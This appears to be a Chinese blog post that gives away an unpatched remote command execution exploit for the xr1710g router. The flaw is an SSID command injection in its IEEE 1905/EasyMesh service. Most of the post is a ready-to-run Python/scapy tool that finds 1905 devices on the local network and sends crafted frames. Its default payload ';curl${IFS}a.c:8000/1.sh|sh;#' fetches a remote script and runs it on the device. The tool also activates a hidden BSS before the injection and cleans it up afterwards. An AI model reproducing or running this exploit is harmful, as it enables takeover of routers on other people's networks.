xr1710g rce

0day rce免费送家人们,走过路过不要错过,虽然是没啥屌用的漏洞,我甚至懒得申请cve。
没啥好说的,几百年前挖的,细节忘了,懂得都懂/应该p1905(就是跟机器mesh相关的一个玩意),修改ssid的时候执行命令行拼接执行了。
可能用了同款p1905 elf的机器也有这个漏洞,不知道懒得玩了,rce之后就索然无味了。

所以命令有长度限制,不过问题不大。

参数默认即可,自己改下注入命令就好,不过也没得改,长度上限了。

#!/usr/bin/env python3
"""1905 SSID 命令注入 — 自动发现目标 + 注入"""
import random
import struct
import sys
import threading
import time
from datetime import datetime

from scapy.all import Ether, Raw, conf, sendp, sniff

# ============================================================
# 常量
# ============================================================
ETHERTYPE_1905 = 0x893A
MULTICAST_1905 = "01:80:C2:00:00:13"
INTERNAL_VENDOR_MAGIC = b"\x00\x0c\xe7\xff\x00\x0c\xe7"

# 注入命令
INJECT_SSID = ";curl${IFS}a.c:8000/1.sh|sh;#"

# UCC BSS 参数
PROFILE_TOKEN = "11x"
PROFILE_AUTH = "0x0040"
PROFILE_ENCR = "0x0008"
PROFILE_BH = 0
PROFILE_FH = 1

ARM_SSID = "ACTIVATE773"
CLEAN_SSID = "CLEAN773"
ARM_WAIT = 4.0


# ============================================================
# 工具函数
# ============================================================
def ts():
    return datetime.now().strftime("%H:%M:%S")


def cmdu_header(msg_type, msg_id):
    return struct.pack("!BBHHBB", 0x00, 0x00, msg_type & 0xFFFF,
                       msg_id & 0xFFFF, 0x00, 0x80)


def tlv(t, body=b""):
    return bytes([t]) + struct.pack("!H", len(body)) + body


def build_payload(ssid, hidden, bssid, psk):
    return (
        "#ucc_bss_info\n"
        f"1,{bssid} {PROFILE_TOKEN} {ssid} "
        f"{PROFILE_AUTH} {PROFILE_ENCR} {psk} "
        f"{PROFILE_BH} {PROFILE_FH} hidden-{hidden} "
        f"4095 N/A N/A mld_groupID 0\n\n"
    ).encode()


# ============================================================
# 1905 拓扑发现
# ============================================================
def discover_target(iface_name, src_mac, timeout=4):
    """发送拓扑发现帧,监听响应,返回 (AL_MAC, 原始MAC) 列表"""
    mid = random.randint(1, 0xFFFF)
    query = cmdu_header(0x0002, mid) + b"\x00\x00\x00"

    pkts = []

    def _sniff():
        p = sniff(iface=iface_name, filter="ether proto 0x893a",
                  timeout=timeout, store=True)
        pkts.extend(p)

    t = threading.Thread(target=_sniff)
    t.start()
    time.sleep(0.5)

    sendp(Ether(src=src_mac, dst=MULTICAST_1905, type=ETHERTYPE_1905) / Raw(query),
          iface=iface_name, verbose=False)

    t.join(timeout=timeout + 2)

    targets = []
    for pkt in pkts:
        if Raw not in pkt:
            continue
        raw = bytes(pkt[Raw].load)
        if len(raw) < 8:
            continue
        try:
            _v, _r, mt, mid2, _f, _fl = struct.unpack("!BBHHBB", raw[:8])
        except struct.error:
            continue
        if mt == 0x0003 and mid2 == mid:
            src = pkt.src.lower()
            if src != src_mac.lower() and src not in [t[0] for t in targets]:
                targets.append((src, pkt.src))
    return targets


# ============================================================
# 注入
# ============================================================
def do_inject(iface_name, src_mac, dst_mac, bssid, psk, ssid, hidden):
    payload = build_payload(ssid, hidden, bssid, psk)
    for subtype in [b"\x03", b"\x07"]:
        mid = random.randint(1, 0xFFFF)
        sendp(Ether(src=src_mac, dst=dst_mac, type=ETHERTYPE_1905) / Raw(
            cmdu_header(0x0004, mid)
            + tlv(0x0B, INTERNAL_VENDOR_MAGIC + subtype + payload)
            + b"\x00\x00\x00"
        ), iface=iface_name, verbose=False)
        time.sleep(0.8)


# ============================================================
# 主流程
# ============================================================
def main():
    print("=" * 60)
    print("  1905 SSID 命令注入工具")
    print("=" * 60)
    print()

    # ---------- 0. 注入命令 ----------
    ssid = INJECT_SSID
    print(f"  注入命令: {ssid}")
    alt = input(f"  回车确认,或输入新命令:").strip()
    if alt:
        ssid = alt
    print()

    # ---------- 1. 列出网卡 ----------
    print("[*] 正在扫描可用网卡...")
    print()

    ifaces = []
    idx = 0
    for name in conf.ifaces:
        iface = conf.ifaces[name]
        mac = getattr(iface, "mac", None)
        if not mac:
            continue
        ips = getattr(iface, "ips", {})
        ip4 = ips.get(4, [])
        idx += 1
        ifaces.append((name, mac, ip4))
        print(f"  [{idx}] {name}")
        print(f"      MAC : {mac}")
        if ip4:
            print(f"      IP  : {', '.join(ip4)}")
        else:
            print(f"      IP  : (无)")
        print()

    if not ifaces:
        print("[!] 没有找到可用网卡,请确认 Npcap 已安装。")
        input("按 Enter 退出...")
        sys.exit(1)

    # ---------- 2. 选网卡 ----------
    while True:
        try:
            choice = input(f"[?] 选择网卡 [1-{len(ifaces)}]:").strip()
            n = int(choice)
            if 1 <= n <= len(ifaces):
                iface_name, my_mac, my_ips = ifaces[n - 1]
                break
            print(f"    输入 1-{len(ifaces)} 之间的数字。")
        except (ValueError, EOFError, KeyboardInterrupt):
            print("\n[!] 已取消。")
            sys.exit(1)

    print(f"\n[+] 网卡: {iface_name}")
    print(f"    MAC : {my_mac}")
    print(f"    IP  : {', '.join(my_ips) if my_ips else '(无)'}")
    print()

    # ---------- 3. 1905 拓扑发现 ----------
    print(f"[{ts()}] 正在探测 1905 设备...")
    targets = discover_target(iface_name, my_mac)
    print()

    if not targets:
        print("[!] 未发现 1905 设备。")
        print("    请确认:")
        print("    1. 目标设备已开机并已启动 EasyMesh")
        print("    2. 本机与目标在同一 L2 网段")
        print("    3. 防火墙未拦截 1905 多播帧 (ether proto 0x893a)")
        while True:
            target = input("[?] 手动输入目标 AL MAC(或按 Enter 退出):").strip()
            if not target:
                sys.exit(0)
            if len(target) == 17:
                bssid = target
                break
            print("    格式错误,例如: 00:58:28:d7:52:97")
    elif len(targets) == 1:
        target, _ = targets[0]
        bssid = target
        print(f"[+] 发现 1 个 1905 设备:{target}")
        print()
    else:
        print(f"[+] 发现 {len(targets)} 个 1905 设备:")
        for i, (tgt, _) in enumerate(targets, 1):
            print(f"    [{i}] {tgt}")
        while True:
            try:
                choice = input(f"[?] 选择目标 [1-{len(targets)}]:").strip()
                n = int(choice)
                if 1 <= n <= len(targets):
                    target, _ = targets[n - 1]
                    bssid = target
                    break
                print(f"    输入 1-{len(targets)} 之间的数字。")
            except (ValueError, EOFError, KeyboardInterrupt):
                print("\n[!] 已取消。")
                sys.exit(1)
        print()
        print(f"[+] 已选择: {target}")

    # ---------- 4. BSSID ----------
    print(f"  BSSID 默认与目标 MAC 相同: {bssid}")
    alt_bssid = input(f"  回车确认,或输入其他(如 ff:ff:ff:ff:ff:ff):").strip()
    if alt_bssid:
        bssid = alt_bssid

    # ---------- 5. PSK ----------
    print()
    psk = f"InjPass{random.randint(100, 999)}"
    print(f"  PSK(随机生成): {psk}")
    alt_psk = input(f"  回车确认,或输入自定义 PSK:").strip()
    if alt_psk:
        psk = alt_psk

    # ---------- 6. 确认 ----------
    print()
    print("=" * 60)
    print(f"  网卡:     {iface_name} ({my_mac})")
    print(f"  目标 MAC: {target}")
    print(f"  BSSID:    {bssid}")
    print(f"  PSK:      {psk}")
    print(f"  命令:     {ssid} ({len(ssid)} 字符)")
    print("=" * 60)

    if len(ssid) > 32:
        print(f"[!] 警告:命令长度 {len(ssid)} > 32,可能失败!")

    answer = input("\n[?] 确认注入?[y/N]:").strip().lower()
    if answer != "y":
        print("[!] 已取消。")
        sys.exit(0)

    # ---------- 7. 注入 ----------
    print()
    print(f"[{ts()}] 步骤 1/3:激活 BSS(hidden-Y)...")
    do_inject(iface_name, my_mac, target,
              bssid, psk, ARM_SSID, hidden="Y")
    print(f"[{ts()}] 等待 {ARM_WAIT} 秒...")
    time.sleep(ARM_WAIT)

    print(f"[{ts()}] 步骤 2/3:注入命令...")
    do_inject(iface_name, my_mac, target,
              bssid, psk, ssid, hidden="Y")
    print(f"[{ts()}] 注入完成!")
    time.sleep(2.0)

    print(f"[{ts()}] 步骤 3/3:清理(hidden-N)...")
    do_inject(iface_name, my_mac, target,
              bssid, psk, CLEAN_SSID, hidden="N")
    print(f"[{ts()}] 清理完成。")

    print()
    print("=" * 60)
    print("  注入结束。检查目标设备。")
    print("=" * 60)
    input("\n按 Enter 退出...")


if __name__ == "__main__":
    main()

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇